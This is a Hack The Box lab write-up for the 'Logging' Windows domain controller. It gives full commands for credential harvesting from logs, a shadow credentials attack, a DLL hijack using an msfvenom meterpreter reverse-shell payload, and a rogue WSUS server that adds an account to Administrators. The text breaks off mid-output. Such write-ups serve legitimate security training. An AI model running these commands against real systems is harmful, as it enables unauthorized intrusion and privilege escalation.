Hack The Box / WINDOWS / 2026-07-18
Hack The Box - Logging (Windows)
We start with credentials for the user `wallace.everette`. We enumerate the machine and find a log file that contains the credentials for the user `svc_recovery`. We use those credentials to perform a shadow credentials attack on the machine account `msa_health$` to get its nthash. We use that to get a shell on the machine. We abuse a DLL hijacking vulnerability in the UpdateMonitor program to become another user. Finally, we abuse a WSUS client that connects to `wsus.logging.htb` to run commands as admin.
Target
- IP:
10.129.32.124
Machine Information
As is common in real life pentests, you will start the Logging box with credentials for the following account wallace.everette / Welcome2026@
Port scan
sudo nmap -sC -sV 10.129.32.124 -p- -v
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-19 12:45:29Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T12:46:35+00:00; +7h00m02s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Issuer: commonName=logging-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-17T03:20:01
| Not valid after: 2106-04-17T03:20:01
| MD5: 8572 96de c6fa 1e08 d694 2448 68cf d20b
| SHA-1: 8747 4415 e328 0940 a741 bace 327f a157 98d8 76e7
|_SHA-256: f7c9 1a1d afd7 0b23 d3eb 802c bad8 aabf 6ad8 0a7b 1b56 3b26 3aea c6ed 4d1b 8b93
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Issuer: commonName=logging-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-17T03:20:01
| Not valid after: 2106-04-17T03:20:01
| MD5: 8572 96de c6fa 1e08 d694 2448 68cf d20b
| SHA-1: 8747 4415 e328 0940 a741 bace 327f a157 98d8 76e7
|_SHA-256: f7c9 1a1d afd7 0b23 d3eb 802c bad8 aabf 6ad8 0a7b 1b56 3b26 3aea c6ed 4d1b 8b93
|_ssl-date: 2026-04-19T12:46:35+00:00; +7h00m02s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T12:46:34+00:00; +7h00m02s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Issuer: commonName=logging-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-17T03:20:01
| Not valid after: 2106-04-17T03:20:01
| MD5: 8572 96de c6fa 1e08 d694 2448 68cf d20b
| SHA-1: 8747 4415 e328 0940 a741 bace 327f a157 98d8 76e7
|_SHA-256: f7c9 1a1d afd7 0b23 d3eb 802c bad8 aabf 6ad8 0a7b 1b56 3b26 3aea c6ed 4d1b 8b93
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Issuer: commonName=logging-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-17T03:20:01
| Not valid after: 2106-04-17T03:20:01
| MD5: 8572 96de c6fa 1e08 d694 2448 68cf d20b
| SHA-1: 8747 4415 e328 0940 a741 bace 327f a157 98d8 76e7
|_SHA-256: f7c9 1a1d afd7 0b23 d3eb 802c bad8 aabf 6ad8 0a7b 1b56 3b26 3aea c6ed 4d1b 8b93
|_ssl-date: 2026-04-19T12:46:35+00:00; +7h00m02s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8530/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title.
8531/tcp open ssl/unknown
| tls-alpn:
| h2
|_ http/1.1
|_ssl-date: 2026-04-19T12:46:35+00:00; +7h00m02s from scanner time.
| ssl-cert: Subject: commonName=DC01.logging.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.logging.htb
| Issuer: commonName=logging-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-16T15:12:07
| Not valid after: 2027-04-16T15:12:07
| MD5: 3158 19e2 be3b 095d 5781 5715 4aaf 73e6
| SHA-1: 9416 b3bc 64b6 7aa6 fe63 8a37 9b4e d9d4 c66b e3c5
|_SHA-256: 28b7 cd3c bef5 4d45 e326 d24f f976 0088 07f6 3f90 8408 e5a3 ed59 671d 1b71 4df6
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49686/tcp open msrpc Microsoft Windows RPC
49687/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49688/tcp open msrpc Microsoft Windows RPC
49689/tcp open msrpc Microsoft Windows RPC
49708/tcp open msrpc Microsoft Windows RPC
49720/tcp open msrpc Microsoft Windows RPC
49745/tcp open msrpc Microsoft Windows RPC
49775/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Add dc01.logging.htb and logging.htb to /etc/hosts.
Initial enumeration
Enumerate smb shares with the provided credentials.
nxc smb dc01.logging.htb -u 'wallace.everette' -p 'Welcome2026@' --shares
SMB 10.129.32.124 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.32.124 445 DC01 [+] logging.htb\wallace.everette:Welcome2026@
SMB 10.129.32.124 445 DC01 [*] Enumerated shares
SMB 10.129.32.124 445 DC01 Share Permissions Remark
SMB 10.129.32.124 445 DC01 ----- ----------- ------
SMB 10.129.32.124 445 DC01 ADMIN$ Remote Admin
SMB 10.129.32.124 445 DC01 C$ Default share
SMB 10.129.32.124 445 DC01 IPC$ READ Remote IPC
SMB 10.129.32.124 445 DC01 Logs READ
SMB 10.129.32.124 445 DC01 NETLOGON READ Logon server share
SMB 10.129.32.124 445 DC01 SYSVOL READ Logon server share
SMB 10.129.32.124 445 DC01 WSUSTemp A network share used by Local Publishing from a Remote WSUS Console Instance.
We notice the share Logs, which we have read access to. Let's see what's in there.
smbclient -U wallace.everette '//10.129.32.124/Logs'
# insert the password Welcome2026@
We get access to the share, let's list the files.
dir
Audit_Heartbeat.log A 1294 Thu Apr 16 23:10:09 2026
IdentitySync_Trace_20260219.log A 8488 Thu Apr 16 23:10:09 2026
Service_State.log A 468 Thu Apr 16 23:10:09 2026
TaskMonitor.log A 1170 Thu Apr 16 23:10:09 2026
Let's download them all
mget *
We don't see anything interesting in the logs.
Let's proceed with some standard enumeration. Grab the list of the users of the system:
nxc smb 10.129.32.124 -u 'wallace.everette' -p 'Welcome2026@' --rid-brute 5000 | grep SidTypeUser | cut -d: -f2 | cut -d \\ -f2 | cut -d' ' -f1 > users.txt
Check ldap:
nxc ldap dc01.logging.htb -u 'wallace.everette' -p 'Welcome2026@'
LDAP 10.129.32.124 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:logging.htb) (signing:None) (channel binding:Never)
LDAP 10.129.32.124 389 DC01 [+] logging.htb\wallace.everette:Welcome2026@
We can enumerate the domain with bloodhound.
bloodhound-ce-python -u 'wallace.everette' -p 'Welcome2026@' -ns 10.129.32.124 -d 'logging.htb' -dc dc01.logging.htb -c All --zip
We get a .zip file.
Run bloodhound. On Kali Linux:
sudo bloodhound
Upload the .zip file on bloodhound website.
certipy find -u 'wallace.everette' -p 'Welcome2026@' -target dc01.logging.htb -text -stdout -vulnerable
Leaked svc_recovery credentials
cat IdentitySync_Trace_20260219.log
We notice:
[2026-02-09 03:00:03.125] [PID:4102] [Thread:04] VERBOSE - ConnectionContext Dump: { Domain: "logging.htb", Server: "DC01", SSL: "False", BindUser: "LOGGING\svc_recovery", BindPass: "Em3rg3ncyPa$$2025", Timeout: 30 }
[2026-02-19 03:00:03.488] [PID:4102] [Thread:04] ERROR - System.DirectoryServices.Protocols.LdapException: A local error occurred.
at System.DirectoryServices.Protocols.LdapConnection.Bind(NetworkCredential credential)
at logging.IdentitySync.Engine.LdapProvider.Connect()
--- Server Error Details ---
Server error: 8009030C: LdapErr: DSID-0C090569, comment: AcceptSecurityContext error, data 52e, v4563
Hex Error: 0x31 (LDAP_INVALID_CREDENTIALS)
Win32 Error: 49 (Invalid Credentials)
----------------------------
[2026-02-19 03:00:03.510] [PID:4102] [Thread:12] WARN - Connectivity failed for logging\svc_recovery. Checking alternate Domain Controller...
[...]
[2026-03-09 03:00:02.215] [PID:4102] [Thread:12] INFO - Establishing SQL session with HR01.logging.htb...
We found the credentials svc_recovery / Em3rg3ncyPa$$2025. Let's check if they work.
nxc smb dc01.logging.htb -u 'svc_recovery' -p 'Em3rg3ncyPa$$2025'
SMB 10.129.32.124 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.32.124 445 DC01 [-] logging.htb\svc_recovery:Em3rg3ncyPa$$2025 STATUS_ACCOUNT_RESTRICTION
This doesn't work. Usually, the error STATUS_ACCOUNT_RESTRICTION happens when the target user is in the Protected Group AD group. Indeed, svc_recovery belongs to that group. To solve the error we need to switch to kerberos authentication. We can use the -k option of nxc to do that.
nxc smb dc01.logging.htb -u 'svc_recovery' -p 'Em3rg3ncyPa$$2025' -k
SMB dc01.logging.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB dc01.logging.htb 445 DC01 [-] logging.htb\svc_recovery:Em3rg3ncyPa$$2025 KDC_ERR_PREAUTH_FAILED
However, we see that this password is wrong.
From the log file IdentitySync_Trace_20260219.log, we see that after the invalid credentials error on 2026-02-09, there is a successful login on 2026-03-09. Maybe the year in the password has been updated. Let's try with Em3rg3ncyPa$$2026.
nxc smb dc01.logging.htb -u 'svc_recovery' -p 'Em3rg3ncyPa$$2026' -k
SMB dc01.logging.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB dc01.logging.htb 445 DC01 [+] logging.htb\svc_recovery:Em3rg3ncyPa$$2026
Credentials work!
Shadow credentials attack on msa_health$
From bloodhound we see that svc_recovery has a GenericWrite relation toward the machine account msa_health$. This means that we can perform a shadow credentials attack on msa_health$ to get its nthash.
First, let's grab a kerberos ticket for svc_recovery:
getTGT.py -dc-ip 10.129.34.202 'logging.htb'/'svc_recovery':'Em3rg3ncyPa$$2026'
[*] Saving ticket in svc_recovery.ccache
Set the KRB5CCNAME environment variable to use the ticket:
export KRB5CCNAME=svc_recovery.ccache
Now we can use certipy to perform the shadow credentials attack:
certipy shadow auto -dc-ip 10.129.34.202 -dc-host dc01.logging.htb -target dc01.logging.htb -username svc_recovery@scepter.htb -k -no-pass -account 'msa_health$'
[*] Saving credential cache to 'msa_health.ccache'
[*] Wrote credential cache to 'msa_health.ccache'
[*] Trying to retrieve NT hash for 'msa_health$'
[*] Restoring the old Key Credentials for 'msa_health$'
[*] Successfully restored the old Key Credentials for 'msa_health$'
[*] NT hash for 'msa_health$': 603fc24ee01a9409f83c9d1d701485c5
Now we can test the credentials with nxc:
nxc smb dc01.logging.htb -u 'msa_health$' -H '603fc24ee01a9409f83c9d1d701485c5'
SMB 10.129.34.202 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.34.202 445 DC01 [+] logging.htb\msa_health$:603fc24ee01a9409f83c9d1d701485c5
From bloodhound we see that msa_health$ belongs to the 'Remote Management Users' group, which means that we can get a shell on the machine with evil-winrm:
evil-winrm -i dc01.logging.htb -u 'msa_health$' -H '603fc24ee01a9409f83c9d1d701485c5'
UpdateMonitor program abuse - DLL hijacking
Searching through the filesystem, in C:\Program Files we find a program called UpdateMonitor.
ls '\Program Files\UpdateMonitor'
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 4/21/2026 9:50 PM bin
d----- 4/16/2026 4:10 PM packages
-a---- 2/21/2026 3:52 PM 189 App.config
-a---- 2/21/2026 3:52 PM 157 packages.config
-a---- 4/9/2026 10:31 PM 8192 UpdateMonitor.exe
Let's download UpdateMonitor.exe. We can use impacket smbserver for that.
On the attacking machine:
smbserver.py -debug -smb2support share $(pwd)
On the victim machine:
copy UpdateMonitor.exe \\10.10.16.41\share
Now, on the attacking machine, let's check the file:
file UpdateMonitor.exe
UpdateMonitor.exe: PE32 executable for MS Windows 6.00 (console), Intel i386 Mono/.Net assembly, 3 sections
So it is a x86 32-bit executable.
We can analyze the binary with ilspy-vscode. Open the vscode and add the .exe file to ilspy.
In the source code of the program we find:
private static void Main(string[] args)
{
string path = "C:\\ProgramData\\UpdateMonitor\\Logs\\monitor.log";
string text = "C:\\ProgramData\\UpdateMonitor\\Settings_Update.zip";
string text2 = "C:\\Program Files\\UpdateMonitor\\bin\\";
string text3 = "settings_update.dll";
string text4 = Path.Combine(text2, text3);
Directory.CreateDirectory(Path.GetDirectoryName(path));
CleanupLogs(path, 90);
Log(path, "Starting Sentinel Update Check...");
Log(path, "Checking for update on core server...");
Log(path, "Info: Core did not find file Settings_Update.zip");
Log(path, "Last status: File not found on core");
Log(path, "Checking for update on local server...");
if (File.Exists(text))
{
try
{
if (File.Exists(text4))
{
File.Delete(text4);
}
ZipFile.ExtractToDirectory(text, text2);
Log(path, "Successfully unzipped update to " + text2);
}
catch (IOException ex)
{
Log(path, "Update failed: " + ex.Message);
}
catch (Exception ex2)
{
Log(path, "Update failed: " + ex2.Message);
}
}
else
{
Log(path, "No updates found locally: C:\\ProgramData\\UpdateMonitor\\Settings_Update.zip.");
}
Log(path, "Loading update applier: " + text4);
IntPtr intPtr = LoadLibrary(text4);
if (intPtr == IntPtr.Zero)
{
int lastWin32Error = Marshal.GetLastWin32Error();
Log(path, $"Failed to load {text3}. Error code: {lastWin32Error}");
Log(path, "Update check completed.");
return;
}
try
{
IntPtr procAddress = GetProcAddress(intPtr, "PreUpdateCheck");
if (procAddress != IntPtr.Zero)
{
Log(path, "Calling 'PreUpdateCheck' in " + text3);
((PreUpdateCheck)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(PreUpdateCheck)))();
}
else
{
Log(path, "'PreUpdateCheck' not found in " + text3 + ". Continuing...");
}
}
We can see that the program looks for a file called Settings_Update.zip in the C:\ProgramData\UpdateMonitor folder. If it finds it, it extracts it in the C:\Program Files\UpdateMonitor\bin folder and then tries to load a dll called settings_update.dll from that folder. So we can create a malicious dll with msfvenom, put it in a zip file called Settings_Update.zip, upload it to the machine and get a shell when the program tries to load the dll.
We need to generate a 32-bit evil dll.
msfvenom -p windows/meterpreter_reverse_tcp LHOST=tun0 LPORT=4444 -f dll -o settings_update.dll
Let's zip it
zip Settings_Update.zip settings_update.dll
Start a msfconsole listener:
use exploit/multi/handler
set PAYLOAD windows/meterpreter_reverse_tcp
set LHOST tun0
set LPORT 4444
run
Now, upload the zip file in the C:\ProgramData\UpdateMonitor folder. You can use python http server on attacking machine + curl on the victim machine.
Wait. We get a reverse meterpreter shell.
getuid
Server username: logging\jaylee.clifton
So we are the user jaylee.clifton.
In the Documents folder of the user, we find a Tickets folder with a file Incident_4922_WSUS_Remediation_ViewExport.html. Let's download it.
On the attacking machine:
smbserver.py -debug -smb2support -username test12 -password test12 share $(pwd)
On the victim machine:
net use \\10.10.16.41\share test12 /USER:test12
cp "Incident_4922_WSUS_Remediation_ViewExport.html" \\10.10.16.41\share\
Open the html file in a browser. Inside the file we read:
Assigned: jaylee.clifton [SR_SYSADMIN]
Status: CLOSED - WORKAROUND APPLIED
Priority: Urgent (Compliance)
2026-04-06 09:45 Internal Note:
Machine is still choking on the standard catalog. BITS service is garbage and I'm not wasting another morning troubleshooting the local database. Since the "official" server migration is apparently taking forever, I've pointed this box to the staging endpoint at wsus.logging.htb.
2026-04-06 13:20 Internal Note:
DNS is still not updated-standard for this department-so don't bother pinging it from outside the test subnet. I've set up a scheduled "ForceSync" task to deal with the inevitable lockups.
2026-04-06 16:10 Final Resolution:
Task is running on a 120s loop. It nukes SoftwareDistribution and restarts the agent every cycle. It's a hack, but it works and it keeps the compliance auditors off my back. Do not touch the trigger settings. If the services don't come back up, that's your problem.
So, apparently, there is a scheduled task that runs a wsus client that connects to wsus.logging.htb. We can inspect windows update with:
reg query 'HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate'
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ https://wsus.logging.htb:8531
AcceptTrustedPublisherCerts REG_DWORD 0x1
SetProxyBehaviorForUpdateDetection REG_DWORD 0x0
WUStatusServer REG_SZ https://wsus.logging.htb:8531
UpdateServiceUrlAlternate REG_SZ https://wsus.logging.htb:8531
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU
So it connects to port 8531.
WSUS abuse
The idea is to setup a rogue wsus server on our machine, that makes the victim machine execute an arbitrary command . We can use pywsus.py (https://github.com/GoSecure/pywsus) for that.
In the README.md of pywsus, we read:
The certificate presented by the WSUS server must be validated by the client. Error in validating the certificate will result in the wupdate client closing the connection.
The three major ways of generating a certificate for a WSUS server are:
- Using an internal PKI for which a Root CA certificate is deployed on domain computers and a certificate signed by that Root CA is used to serve WSUS updates
- Purchasing a certificate signed by a third-party CA authority trusted in the Windows OS trust store
- Using a self-signed certificate and push a copy of this certificate on all domain computers using a GPO
So we need a valid certificate for our rogue wsus server.
We can try the first path. On this windows box there is ADCS, so we can try to see if there is a certificate template that we can use to request a valid certificate for our rogue wsus server.
certipy find -u 'wallace.everette' -p 'Welcome2026@' -target dc01.logging.htb -text -stdout
We notice:
Template Name : UpdateSrv
Display Name : UpdateSrv
Certificate Authorities : logging-DC01-CA
Enabled : True
Client Authentication : False
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 10 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2026-04-17T00:41:06+00:00
Template Last Modified : 2026-04-17T00:41:07+00:00
Permissions
Enrollment Permissions
Enrollment Rights : LOGGING.HTB\IT
LOGGING.HTB\Domain Admins
LOGGING.HTB\Enterprise Admins
Object Control Permissions
Owner : LOGGING.HTB\Administrator
Full Control Principals : LOGGING.HTB\Domain Admins
LOGGING.HTB\Enterprise Admins
Write Owner Principals : LOGGING.HTB\Domain Admins
LOGGING.HTB\Enterprise Admins
Write Dacl Principals : LOGGING.HTB\Domain Admins
LOGGING.HTB\Enterprise Admins
Write Property Enroll : LOGGING.HTB\Domain Admins
LOGGING.HTB\Enterprise Admins
The user jaylee.clifton belongs to the IT group, so we can request a certificate for this template.
Since we have a shell on the machine, we can use Certify.exe (https://github.com/GhostPack/Certify) to request the certificate. Upload it to the victim machine. Then run:
.\Certify.exe request --ca LOGGING.HTB\logging-DC01-CA --template UpdateSrv --dns wsus.logging.htb --output-pem
Note that we have specified the dns name wsus.logging.htb.
We get:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAxEhxCBxHNXH1HnY7JpTAyXVNodqzyuSoCtEyW4BGNP3f7o/s
iSquImiEsi/c986PO58WDtkqrZoTi0Gpln3lgGCqZJxAqONgTsDjcIKj1OKUvFrB
r7y/Ya+JvacMlXC4D7577dQwzvuCjXfjvLVmfi0RnkbfOQ0vvjFktCEYmylhschN
WPKLtiaSjXRfS6NlDZkjIV7rfQFBtlJRD32YpVEVsfOYrMhTMZcgBvh6NA8UQZt4
MQbjLh5ttxEpurediC+yOsMXhUw4LNhaCxTeEwKtyhS2PUn64MLE5NIeAdXK7INM
b0VaiTHn+GulnqpkMXywmCJOI0LyVtvNgmwgSQIDAQABAoIBAQCT1TvMr/+x8TJ8
zu+eD0tkcEUYMnBX0AAApa8X23UFVHDkbOHqLYsZvz6yNfpnadvXO+qRJF9QgUtX
Bw2Dmy7Pkf7D6CuLCDXxGrYydzKNlFoRwwk+IxrBqERF4xtHMq5urTkJ11crjaK2
iiWsa7PWNHugiiB2B8h9pxYB1SuDMEVmNmVp2PWzhwvoMNHnV1VpQnqaZNUEo0v1
rSuvl9xy23qSRAIK4nd/3oSrLsw/6ZFOMFx0wOuMCVUQmsrvt2PPpXFQGk+lCEgV
T6wAlf9cXeZsRx5KeWBsFV+fOcZJBM9MsA5uebVD8ludV0AxQA0eDD0i+2Aa9ClW
svyYHTtBAoGBANLGvOyUohbYjQOyFc2qGVlCrVIMfd8IgHu6QZMzZisngpNo+/ej
Nd9Cl5HvBKEGg5ex6CIYkTGUiff99hqt9hMbYYVnVaf6oYb8B8NTeVlUC15vil5S
RAKqgYDnA6clSEf1PUzCQQvfOjn4fO+7knxeOc7/ess304UwVDMH88jjAoGBAO5l
oYPzNShf0NO8bxzqbsMDo9nk1dlfN2n+bK3HKV9UMQWoUjkmQrHTf/zoTYN2ybeF
fC5SEB88Mx213sD9+R7X+Gh2GGFa6TFT4EP7jzzJxJfpCJZlN17VIsAb4VsMSv/t
5lh5cVOScapu3WFIvsqK2i7GFZzcOjZor4AyzjXjAoGAfR7s16QD9HvoeeElgEkR
cyNZr/MqZVOuscQHWVKRu9xgbxFLQd3pBPeK8l5o6Q3s4AgEPPlId54tqMFhbsUF
5qHCambFOkpVyMOj+Bd9WcHCXfTotsUvCkYdSl/Yk0hWeCDkmsRVyK5i6jbQM5+t
fZaRyoduZWRmdBIUaZa26PECgYEAjkJPc7H6ErG6p99WXub2WaEecbRAeIp9Qt70
c27ZnW1cI4giKMBQJFWVlpH5T23fSYh6ZhnKTRlbV2tkFb54npM6RPvT6KSbazgm
J+tBuoCctBn3aefUdt6w8fqxK+fWCYspXbp6iehls9KcgKUsVSkusaK62vQAON+X
euTWcQkCgYA+fOFg/ZfaaHA0GJ06C8PlK444tmFUsRkGGcRhILJ+C+L6a71cQ4sZ
VWssYFBtzP79WhoPsHXwumhNu8apbApnkya8O9MaIT+7TMghFXe6Av5BGlx3eyok
+0Knr8l+TfWdLeup8F0HVY5kXrPb0zm3nm6KnOrTz02Qm1za9Dj0Cw==
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGpDCCBIygAwIBAgITFAAAAAtS0AIHkzU57QABAAAACzANBgkqhkiG9w0BAQsF
ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHbG9nZ2lu
ZzEYMBYGA1UEAxMPbG9nZ2luZy1EQzAxLUNBMB4XDTI2MDQyMjA2NTg0OFoXDTM2
MDQxOTA2NTg0OFowVzETMBEGCgmSJomT8ixkARkWA2h0YjEXMBUGCgmSJomT8ixk
ARkWB2xvZ2dpbmcxDjAMBgNVBAMTBVVzZXJzMRcwFQYDVQQDEw5qYXlsZWUuY2xp
ZnRvbjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMRIcQgcRzVx9R52
OyaUwMl1TaHas8rkqArRMluARjT93+6P7IkqriJohLIv3PfOjzufFg7ZKq2aE4tB
qZZ95YBgqmScQKjjYE7A43CCo9TilLxawa+8v2Gvib2nDJVwuA++e+3UMM77go13
47y1Zn4tEZ5G3zkNL74xZLQhGJspYbHITVjyi7Ymko10X0ujZQ2ZIyFe630BQbZS
UQ99mKVRFbHzmKzIUzGXIAb4ejQPFEGbeDEG4y4ebbcRKbq3nYgvsjrDF4VMOCzY
WgsU3hMCrcoUtj1J+uDCxOTSHgHVyuyDTG9FWokx5/hrpZ6qZDF8sJgiTiNC8lbb
zYJsIEkCAwEAAaOCAnYwggJyMB0GA1UdDgQWBBSylP3BHtSr4XKmXuFXl3vJPVrc
UTAOBgNVHQ8BAf8EBAMCBaAwGwYDVR0RBBQwEoIQd3N1cy5sb2dnaW5nLmh0YjAf
BgNVHSMEGDAWgBTwrZYUbfzt1bxZtuK7M/nGOW4DlTCBzQYDVR0fBIHFMIHCMIG/
oIG8oIG5hoG2bGRhcDovLy9DTj1sb2dnaW5nLURDMDEtQ0EoMSksQ049REMwMSxD
Tj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049
Q29uZmlndXJhdGlvbixEQz1sb2dnaW5nLERDPWh0Yj9jZXJ0aWZpY2F0ZVJldm9j
YXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQw
gcEGCCsGAQUFBwEBBIG0MIGxMIGuBggrBgEFBQcwAoaBoWxkYXA6Ly8vQ049bG9n
Z2luZy1EQzAxLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxD
Tj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWxvZ2dpbmcsREM9aHRiP2NB
Q2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9y
aXR5MD0GCSsGAQQBgjcVBwQwMC4GJisGAQQBgjcVCIXygX+Fh49fht2HGILXjQ6D
2OZogRqGquFFiv19AgFkAgEDMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBsGCSsGAQQB
gjcVCgQOMAwwCgYIKwYBBQUHAwEwDQYJKoZIhvcNAQELBQADggIBAN6CGE09XCLx
SnI4+Cke6OUD4SDXmZkPIaexEDgSpAZJOTGzjP9b9jUU0Nnkb9gwtjhvPECg6eyq
6pvlKT4UtwqNGipEjPkn9hoJdkCyCsv1hKNDc2ORLwtVutdeYxZ4aYvV1e1VpYWp
jE9+fY61nJv0sE97yjEfHtdAkrEm5mLZMoNQML44bBoUM8Ofg8EhPbMW16+y8QFK
2wQI3csUlGiyn5kKuOLTr0h0I22cu6DOkirhancUFeoNbuPjo3nzGtho4hb3zLGI
k64Y8vvyHSZhAIhiml1pJSBkR59+dYTcSfwFsX+VAA39Egi0yB2xro9lRoPPOkHU
FlROskxY0MfCKv8/F01QsPckKFilcberT5Rt+WeEI6zwMkSTOoIlfuhyQ1qCn63a
o86wvaH2kYp2/ONX3cAoPIKuUVkegFi5RzPuJL4hKhETE57fKYJ1chR08ksQoKdE
hi9vMjEsVqkhDaoW40B6yjxKr9iV9H/wsuM/swZTGWNtPb1LUBF0L1kOn6fCGirq
gbdO2ji94tcjMwDlPb78zMSFDc47xnSz5GUIyGO1sALty2czAiyb/L2ugWenK0W4
NsdGtRTdEfF4dlAMd+l5/g6OhTFjoDSx0sPLDlupMPYfSaL7+J20QMjRFI+uS5Sk
kHPkHxBuEo6dHehYocGCzF2Yk2HXPoy+
-----END CERTIFICATE-----
Copy the certificate to cert.pem and the key to key.pem on the attacking machine.
Now we want to use pywsus.py with this certificate. By default, pywsus.py doesn't support ssl, so I had to add it to the script. Moreover, the version in the repository was not working, so I had to incorporate the pull request #19 that, at the time of writing, is not merged yet.
See the attached file pywsus.zip for a working version of the pywsus project.
I took the command to be executed from the website (https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/wsus-spoofing), so we need PsExec64.exe from the pstools suite (https://download.sysinternals.com/files/PSTools.zip). Download and extract the zip file.
Then we can run pywsus.py:
python3 pywsus/pywsus.py --host 10.10.16.41 --port 8531 --ssl-cert cert.pem --ssl-key key.pem --executable ./pstools/PsExec64.exe --command '/accepteula /s cmd.exe /c "net localgroup Administrators msa_health$ /add"'
The idea is to add the user msa_health$ to the administrators group, because we can easily connect to the target machine with evil-winrm with that user.
Now, we have to add a DNS entry for wsus.logging.htb pointing to our IP address, so that the victim machine can connect to our rogue wsus server. We can use bloodyAD.py (https://github.com/CravateRouge/bloodyAD).
python3 bloodyAD/bloodyAD.py --host dc01.logging.htb -d logging.htb --dc-ip 10.129.34.217 -u 'wallace.everette' -p 'Welcome2026@' add dnsRecord 'wsus' 10.10.16.41
[+] wsus has been successfully added
Now wait a bit. In the terminal of pywsus.py we get:
Time Target IP Action Detail
